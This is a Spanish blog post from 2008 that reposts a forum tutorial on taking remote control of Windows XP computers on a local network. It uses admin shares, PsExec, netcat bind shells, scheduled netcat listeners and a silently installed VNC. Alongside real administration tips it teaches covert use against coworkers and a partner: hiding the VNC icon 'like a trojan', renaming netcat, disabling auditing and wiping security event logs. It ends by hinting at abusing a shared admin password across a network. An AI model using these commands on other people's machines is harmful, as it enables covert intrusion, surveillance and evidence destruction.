miércoles, 16 de abril de 2008

Administración remota de win XP

Aqui les dejo un manual sobre como obtener una shell remota en win XP con Psexec, me gusto bastante asi que se lo recomiendo:

INTRODUCCION:
Este documento pretende explicar la forma de controlar desde el propio ordenador los 2000/XP de nuestra red usando los viejos y muchas veces olvidados comandos del DOS. ¿Y por qué desde DOS?, pues porque podemos ejecutarlos sin interferir en el escritorio remoto, o sea sin que se entere el usuario (o los menos espabilados que son los más), y lo más importante, porque los comandos DOS permiten ser incluidos en ficheros bat y procesar un monton de máquinas en poquísimo tiempo.

Todo se basa, en aprovechar los recursos compartidos administrativos que por defecto traen los XP´s para obtener acceso a los ficheros de los ordenadores remotos y los puertos NetBIOS para abrir consolas de comando remotas con el fin de poder ejecutar órdenes sobre los ordenadores remotos.

Espero que además de aprender pasen un buen rato aplicando estas ideas y otras que a buen seguro se les van a ocurrir. Ensáyenlas en sus propios pc´s antes de aplicarlas y …, por favor, no torturen demasiado al vecino xD

Requisitos previos:
1.- Red con XP (para 2000 también valdrá pero las pruebas las he hecho sobre XP Pro)
2.- Tener cuenta en el grupo administradores de las máquinas remotas.
SMB habilitado (puertos 445 138-139, para entendernos. O sea activado el Compartir ficheros e impresoras para entendernos mejor aún Rolling Eyes)

Herramientas imprescindibles:
MS-DOS
Psexec


Herramientas opcionales:
Netcat
Fport
VNC
Coca-cola fresquita…

Dedicado con cariño a los que:
… estan hartos de ir arrastrándose por los pasillos y cubículos de la empresa haciendo arreglos, a los que simplemente quieren evitar verle la morrera a ciertos usuarios por ser éstos particularmente cabrones o especialmente pesados o simplemente a aquellos que les gusta vacilar un rato (moderadamente, se entiende) al compañero o compañera de al lado.

¡Allá vamos ¡ Arrow


ACCESO REMOTO A LOS PCs DE LA RED USANDO LOS RECURSOS COMPARTIDOS ADMINISTRATIVOS
XP comparte por defecto sus unidades a efectos de administración. Estas unidades estan ocultas a la red al llevar el sufijo $

Para acceder desde DOS a estos recursos desde otro ordenador de la red se usa el comando Net use. Este comando es un poco remolón y a veces como que se empeña en no dejar conectarnos. La sintaxis completa y que no falla NUNCA es:

net use \\ip_remota\ password_pc_remoto/u:ip_remota\administrador_pc_remoto

En este punto tendremos ya mapeada la unidad del pc remoto y odremos trabajar con sus ficheros como si fuese un disco más de nuestro ordenador. Para usar este comando basta con que el pc remoto esté encendido, no hace falta que tenga ninguna sesión iniciada Wink

Cuando acabemos nuestra tarea debemos acordarnos de quitar el recurso que acabamos de compartir. Eso se hace mediante el comando:

Net use /delete
Net use * /delete
(elimina todas las unidades compartidas)

También puedes desde el propio XP/2000 picar con botón derecho sobre el recurso compartido y seleccionar Desconectar

Importante.- Advertiros de que tanto la sesión que establezcamos asi como el recurso compartido que abrais le apareceran al usuario remoto en su Visor de Suceso (otra cosa es que se lo mire Razz).

Esta técnica de acceder a los ordenadores por sus recursos compartidos administrativos está muy bien ya que podremos manipular los ficheros del pc remoto a nuestro antojo, sin embargo, por regla general, no vamos a poder ejecutar sobre ese pc ningún comando ya que cualquier orden que ejecutemos tendrá efectos sobre nuestro propio sistema, no sobre el remoto.

Aunque existen algunos comandos del sistema con parámetros que permiten ser ejecutadas de forma remota, lo mejor y más cómodo será ingeniárnoslas para abrir una consola de comandos remota en el pc de nuestra victi… ,ejemmmm, usuario, para poder trabajar con su pc como si fuese realmente el nuestro.

Obteniendo una consola remota
Existen varias maneras de conseguirla, por lo general se hace explotando alguna vulnerabilidad que ofrezca el sistema: algún desbordamiento de buffer o bug conocido como el del DCOM o el LSASS en los XP….,pero eso lo encontrais en cualquier página de hack. Nosotros que estamos dentro de una red y controlamos las máquinas como administradores locales no necesitamos hacer hacking. Simplemente usaremos un par de pequeñas pero a la vez grandisimas (y gratuitas) herramientas: psexec y netcat

Psexec es mi favorita, al menos para conseguir la primera conexión, puesto que a diferencia de netcat no hay que cargar nada de forma previa en el sistema remoto. Este peligro es descargable desde la página de sus creadores, sysinternals, y su ejecución es realmente simple:

psexec \\ip_remota –u -p -s

Si hacemos un:
psexec \\192.168.0.10 –u administrador –p miclave –s cmd, obtenemos en nuestro pc una consola de comandos del ordenador 192.168.0.10. A partir de ahí cualquier orden que ejecutemos la estamos ejecutando sobre 192.168.0.10 Smile

Para los que se les estan ocurriendo ideas venenosas, advertirles que Psexec aparecerá como proceso en el administrador de tareas del pc remoto.

Si echais un vistazo a los parámetros de psexec, vereis que además de abrir sesiones remotas es capaz, en una misma orden, de subir y ejecutar ficheros. Podeis probarlo teniendo en cuenta que algunos programas son interactivos, es decir necesitan respuestas locales (del usuario remoto), con lo cual correis el riesgo de dejar la conexión flipada. Probad antes de ejecutar un comando en remoto, a hacerlo sobre vuestro propio pc.

NetCat
¿Quién no ha oido hablar de NetCat?. Muy resumidamente la función principal de NetCat es abrir puertos a aplicaciones, tiene muchas funcionalidades y hay manuales a patadas en inet. Aquí lo que nos interesa es su capacidad para devolvernos una consola. Para abrir una consola remota con netcat hay que ejecutar en el ordenador servidor el comando:

nc –L -d –p 8080 –e c:\windows\system32\cmd.exe
-L es el parámetro que permite que netcat siga a la escucha aún después de desconectar la conexión.
-l parámetro que ordena a netcat escuchar en el puerto especificado por –p. En este caso el 8080
-e el comando que ejecutará
-d ejecuta el comando especificado en background

Cuando ejecutemos la siguiente orden en el ordenador cliente:
nc IP_ordenador_servidor 8080 obtendremos una consola de comandos del ordenador servidor. Todo lo que ejecutemos en esa consola se estará ejecutando en el ordenador remoto.

Como en el caso de psexec, el netcat tambien aparece en el dministrador de tareas (aunque se le puede renombrar a un nombre menos sospechoso). Se que algunos antivirus lo detectan también como troyano

YA TENEMOS LA CONSOLA REMOTA, ¿Y AHORA QUE HACEMOS?
Seguro que se os estan ocurriendo pero que muchas cosas. A efectos administrativos nos va a permitir:

- Manipular las cuentas de usuarios y grupos
- Controlar los servicios y procesos en ejecución
- Programar tareas
- Manipular el registro
- Instalar (en algunos casos) software

Manipular grupos y cuentas de usuarios
Usaremos el comando NET para crear y borrar usuarios y asignarlos a los grupos que más nos interesen.

Las que más pueden servirnos para nuestros propósitos son:
Net user lista información sobre la cuenta
Net localgroup que muestra los grupos locales del pc.
Net user /add que crea una cuenta de usuario
Net localgroup /add que añade la cuenta del usuario al grupo que especifiquemos

Por ejemplo:
Net user guoper lista información sobre la cuenta guoper
Net localgroup administradores muestra las cuentas pertenecientes al grupo administradores
Net localgroup administradores guoper /add añade al usuario guoper al grupo administradores

Control de servicios y procesos
Los comandos que nos permiten manipular servicios y procesos en DOS son:

sc query Muestra información sobre los servicios y su estado en la máuina en la que se ejecuta.
sc config Permite configurar diversas propiedades del servicio (habiltar, deshabilitar, inicio manual o automatico…).

Como es habitual con los comandos DOS tienes todas la opciones tecleando un sc config /?

Tasklist lista los procesos en ejecución, para entendernos es como si fuese el administrador de tareas en linea de comandos
Taskkill /F /PID permite forzar el cierre de un proceso identificado por su PID. El PID asociado se muestra con la orden anterior. El parámetro /F fuerza el cierre, sin importar las circunstancias.

Un ejemplo, un tanto simplón, para aplicar todos estos comandos:
Supongamos que nos enteramos que el usuario vayajeta pasa todo el dia jugando al solitario plácidamente (a las cartas, malpensaos) en vez de currar que es para lo que le pagamos. Pues nada le entramos con psexec, le hacemos un tasklist, nos apuntamos el PID del sol.exe o del spider.exe, supongamos que es el 666, y le cerramos la partida con un taskkill /F /PID 666

El ejemplo anterior es más bien hacerle una putadita al vecino, pero pensad la utilidad de este comando para matar procesos colgados (winword.exe, outlook.exe, mapi32.exe…..) o procesos lanzados por algun malware. Además siempre nos queda la posibilidad más drástica de apagar o reiniciar el pc remoto ejecutándole un shutdown. Pensad, ¿cúantas veces hay que desplazarse a ver a alguien para al final hacerle un simple reset del sistema?

Fport
Podemos complementar tasklist con esta herramienta gratuita descargable de la página de foundstone. Si la subimos y ejecutamos en el pc remoto veremos los procesos que estan a la escucha en cada puerto del pc

Ejecutar una tarea programada en remoto
Podemos usar en el pc remoto el comando AT para programarle tareas. Por ejemplo:

at \\ip_remota 12:00A /every:1 “” nc –d –L –p 8080 –e cmd.exe
pone en marcha un netcat a la escucha en el puerto 8080 del ordenador remoto todos los dias a las 12 de la mañana.

Manipulación del registro desde la linea de comandos
Usamos el comando REG (con reg /? listamos todas las opciones posibles que podemos realizar). Básicamente lo usaremos para ver, añadir, modificar o borrar valores y claves del registro de la máquina remota.

Lo vemos con otro ejemplo de lo más lammer. Vamos a quitarle a la novia el fondo de pantalla de Brad Pitt y lo vamos a
sustituir por nuestro kareto que mola más (a nosotros claro, no a nuestra novia). Para ello tendremos que:

1.- Subir nuestra foto, kareto.bmp, a su ordenador
2.- Abrir una consola remota en el pc de la novia
3.- Modificar el registro para sustituir brapit.bmp por kareto.bmp

1.- Para subir nuestra foto nos conectamos al pc de la novia mediante los recursos compartidos administrtivos como ya hemos visto:
net use x: \\ip_novia\c$ /u:ip_novia\administrador
ya tenemos mapeada su unidad c, ahora con un simple copy, o usando el explorador de archivos, le copiamos el archivo con nuestra foto a c:\windows\web\wallpaper\

2.- Abrimos una consola con psexec \\ip_novia –u administrador –p contraseña_administrador –s “cmd”

Nota.- si te miras los parámetros de psexec verás que con esta misma utilidad puedes copiar ficheros (incluso en un solo paso copiarlo y ejecutarlo).

3.- A continuación metemos en el registro la ruta a nuestro archivo. El fondo de pantalla se registra en HKCU\Control Panel\Desktop\Wallpaper

Si queremos ver el valor actual que contiene introducimos en la consola el comando:
Reg query “HKCU\Control Panel\Desktop” /v wallpaper y nos dirá algo como:
Wallpaper REG_SZ documents and settings\novia\Configuracion local\Datos de programa\Microsoft\wallpaper1.bmp

Para sustituirlo con nuestra foto:

Reg add “HKCU\Control Panel\Desktop” /v wallpaper /t REG_SZ /d c:\kareto.bmp (o la ruta donde hayamos copiado el bmp)

El cambio está hecho, por supuesto tambien podríamos habernos crearnos un fichero .reg, subirlo y ejecutarlo con un reg import . Incluso podemos rizar el rizo metiéndole en el registro una entrada que impida el cambio del fondo de pantalla. Ahora bien, si después de esto tu chica no te hace caso en todo el fin de semana no me eches a mi la culpa.

Instalación de software
Realmente poco software hay que pueda cargarse sin el típico asistente gráfico, por lo que en este apartado veremos como instalar un control remoto como VNC.

Instalando VNC en remoto
VNC ya sabeis que es un control remoto gráfico. Si no nos encontramos cómodos con la linea de comandos siempre podemos subir al pc remoto el programa y ejecutarlo de tal manera que tendremos en nuestro ordenador un escritorio virtual de ese pc.

VNC escucha por defecto en el puerto 5900 y si además le activamos la opción JavaViewer se añade el puerto 5800. JavaViewer permite conectar al pc remoto mediante nuestro navegador favorito tecleando la URL http://IP_remota:5800. Para los ejemplos he usado la versión 3.3.6.0 de VNC

Lo primero instalamos VNC en nuestro propio PC, configurando las opciones de conexión incluída la contraseña que elijamos. Dentro de estas opciones no deberíais escoger la opción de quitar el fondo de pantalla y si dejar deshabilitado el teclado y raton del pc remoto ya que en caso contrario el usurio del pc remoto vería como le desaparece graciosamente su fondo de pantalla y como se mueve alegremente el ratón por su escritorio abriendo ventanas y menús.

Una vez instalado en vuestro pc exportad de vuestro propio registro la rama HKLM\Software\ORL que es donde se almacena la configuración del VNC. Además añadireis al fichero .reg resultante la siguiente entrada:

HKU\.DEFAULT\Software\ORL\WinVNC3
"SocketConnect"=dword:00000001
"Password"=hex:d1, 59, 15, b2, cf, ed, 41, 83 (que en este ejemplo es la codificación de la palabra prueba

Ahora nos conectamos al pc remoto y subimos al directorio windows\system32 el fichero reg junto con los ficheros winvnc.exe, vnchooks.dll y othread2.dll (en elgunas versiones de VNC este último fichero se llama omnithread.dll)

Desconectamos la sesión y nos traemos una consola remota ejecutando psexec. En esta consola lanzamos el proceso del winvnc y lo dejamos como servicio de manera que siempre se ejecute al iniciarse alguna sesión en el pc remoto. Para ello, en la consola que hemos abierto con psexec ejecutamos los siguientes comandos:
winvnc -install
net start winvnc

(si quisiéramos eliminar el proceso y el servicio haríamos lo contrario: net stop winvnc y winvnc -remove)

Si lo dejamos asi funcionaría perfectamente, no obstante en el pc remoto aparecería al lado del reloj el icono del VNC, señal inequívoca para el usuario más o menos despierto de que alguien le ha colado el VNC en plan troyano. Para evitar el icono hay dos opciones, o bien usar un winvnc.exe modificado (lo puedes encontrar en google) o via psexec borrar la siguiente entrada del registro en el pc remoto:

reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v WinVNC

ANEXOS Y COSILLAS VARIAS
Haciendo una “gracia”
Lo primero: los comandos format y del no entran dentro de este apartado, no seais tan capullos. Si quereis gastarle una broma a alguien yo con la que más me he disfrutado ha sido con la de abrirle la bandeja de los CD a un compañero que entra a trabajar en turno de noche en una sala en la que está él sólo Laughing (lástima de no disponer de webcam para verle en directo)Laughing

Borrando los logs de nuestras actividades
En el caso de que esten activadas podemos desactivar las auditorias del pc remoto con el comando auditpol /disable.
Cuando acabemos las volvemos a activar con auditpol /enable
El registro de sucesos se puede eliminar empleando la utilidad elsave (disponible en www.ibt.ku.dk/jesper/NTTools).

Empleando la sintaxis elsave –s \\ip_remota –l “security” –c borramos el registro de seguridad.
A mano habría que borrar todos los ficheros con extensión .evt. Se suelen localizar en c:\windows\system32\config. Para paranoicos: hay empresas que guardan copia de los registros de seguridad en un servidor externo.

CONCLUSION
… y hasta aquí hemos llegado. Se ha visto lo facil que es manipular un windows remoto, asi que termino lanzando al aire unas inocentes preguntillas:

¿Se imaginan una red grande donde la cuenta de administrador local de la máquina sea la misma en todos los pc´s (incluido en el nuestro)?
¿Se imaginan que en esa misma gran red todos los pc´s identifican claramente a su propietario bien porque se use el mismo nombre de máquina que el de la persona que lo utiliza, bien porque se use un localizador obvio como el número de despacho, de mesa…?
¿Se imaginan que conseguimos esa contraseña de administrador?....... Mr. Green

Anexo1.- Obtener una shell con Netcat
En este enlace teneis un tutorial muy bien explicado sobre las tres técnicas que se usan con Netcat: shell directa, inversa y pipelada (la que más o va a gustar es la última, sobre todo a los amantes del firewall del XP Razz

Anexo2.- Modificar HKEY_CURRENT_USER
Por si no os habeis dado cuenta, cuando obtenemos una shell remota el usuario con el que trabajamos en el pc remoto es SYSTEM. Esto no nos permite algunas cosillas que en algún momento pueden resultarnos útiles. Por ejemplo modificar el registro particular del usuario me refiero a HKEY_CURRENT_USER, ya que las modificaciones que hagamos en dicha rama afectaran sólo a SYSTEM.

Para solucionar esta inconveniencia se puede incluir las ordenes de modificación de registro en un fichero .bat subirlo al pc remoto y meter una llamada al .bat en HKLM\Software\Microsoft\Windows\CurrentVersion\Run de manera que cuando el usuario, y digo CUALQUIER USUARIO (administrador incluido), del pc remoto inicie sesión en el pc ejecute el bat y se le modifique su registro.



UN CASO PRACTICO

Problema.-
Un incidente provocado por un usuario malintencionado o por un malware descargado en nuestro pc ha activado cierta directiva local que nos ha eliminado la posibilidad de iniciar sesión en nuestro propio ordenador. Con cualquier cuenta que intentamos logearnos, inclusive la de administrador, XP nos responde con un escueto Las directivas locales de este sistema no le permiten iniciar una sesión interactiva

Causas.-
El mensaje de XP nos indica claramente que en las directivas locales nos han quitado (o denegado) el derecho de iniciar sesión local en el equipo. Estas directivas son las de Inicio de sesión local y/o la de Denegar el inicio de sesión local. Ambas se encuentran en Directiva de equipo local -> Configuración de windows -> Configuración de seguridad -> Directivas locales -> Asignación de derechos de usuario.

Solución propuesta.-
Hay que tener claro que en principio, si no hay más daños, todo el contenido de nuestro ordenador, tanto el sistema operativo como nuestros propios ficheros permanecen intactos dentro de nuestro disco duro. Lo que pasa es que no podemos logearnos en el ordenador. Podríamos sacar el disco y pincharlo en otro pc y recuperar nuestros datos, olvidarnos del sistema operativo y los programas y formatear.
Sin embargo lo que vamos a hacer es usar otro pc, si, pero para acceder de forma remota al que tenemos bloqueado y manipular sus directivas para poder volver a recuperar la posibilidad de iniciar sesión.

Herramientas necesarias-
Necesitaremos que el XP bloqueado tenga habilitados los recursos administrativos compartidos (es la configuración por defecto) y los puertos NetBIOS para la red interna (configuración normal dentro de una red local)
Psexec (utilidad free descargable desde sysinternals)
Ntrights (utilidad perteneciente al Kit de recursos del W2K)

Modo de Empleo.-
Llamemos a nuestro pc bloqueado victima (IP 192.168.1.1) y al que vamos a emplear para solucionar el desaguisado macgiver Very Happy . En el pc victima nuestra cuenta era y sigue siendo usuario administrador y contraseña 123
Nos logeamos como administradores en macgiver, descargamos en él nuestras herramientas y lo siguiente que hacemos, si no lo esta ya, es meter a macgiver en nuestra red local configurando su protocolo TCP/IP con una IP del mismo rango que tiene víctima pongamos IP 192.168.1.2 e igual máscara de red (255.255.255.0).
A continuación vamos a subirle a victima el ntrights. Para ello abrimos una consola de comandos en macgiver y tecleamos:
net use x: \\victima\c$ 123 /u:victima\administrador

Y tendremos mapeado en la unidad X: de macgiver la partición de sistema de victima . Por conveniencia le copiamos el ntrights en el directorio c:\windows\system32
Acto seguido nos desconectamos del recurso con net use x: /delete y ejecutamos psexec mediante el siguiente comando:

psexec \\192.168.1.1 –u administrador –p 123 –s cmd (a mi me gusta más usar la IP que el nombre de máquina)

Y tendremos abierta en macgiver una consola de comandos de victima, es decir hemos conseguido logearnos en victima, somos el usuario SYSTEM que no esta nada mal Razz lo que vamos a aprovechar para ejecutar ntrights. Ntrights lo que hace es modificar los derechos de ciertas directivas bien para un usuario o para un grupo de usuarios. Si quereis ver las directivas que permite modificar podeis ejecutar un ntrights /? o mejor aún visitar http://support.microsoft.com/default.aspx?scid=kb;en-us;279664

A nosotros la que nos interesa es una que precisamente no saca la ayuda de ntrights. Ejecutamos en la consola remota:

ntrights –u Usuarios –r SeDenyInteractiveLogonRight (con lo que estamos “quitando” al grupo Usuarios, es decir todas las cuentas locales registradas en victima de la directiva Denegar el inicio de sesión local)

y/o ejecutamos también:

ntrights –u Usuarios +r SeInteractiveLogonRight (con lo que concedemos derechos al grupo Usuarios sobre la directiva Iniciar sesión local)

Nos salimos de la consola de psexec con un exit apagamos macgiver, le damos las gracias a su propietario, un beso cariñoso a Bill Gates por meter en su kit autenticas herramientas de hacking y una respetuosa reverencia a Mark Russinovich por su feliz ocurrencia en donar al mundo el psexec. (*) Nosotros con un jamon ya nos conformamos.

(*)Nosotros somos: Monkey por trabajarse el tema del ntrights, Sagaru por hacer de victima Mr. Green y un servidor por hacer de escribano.


FUENTE: http://foro.ethek.com/tema67.html&sid=5220433921df4d108ec2899e8a56a43c

2 comentarios:

Anónimo dijo...

Hola, este artículo es muy interesante, felicidades!.

Anónimo dijo...

Artículo muy interesante.
Gracias por compartirlo.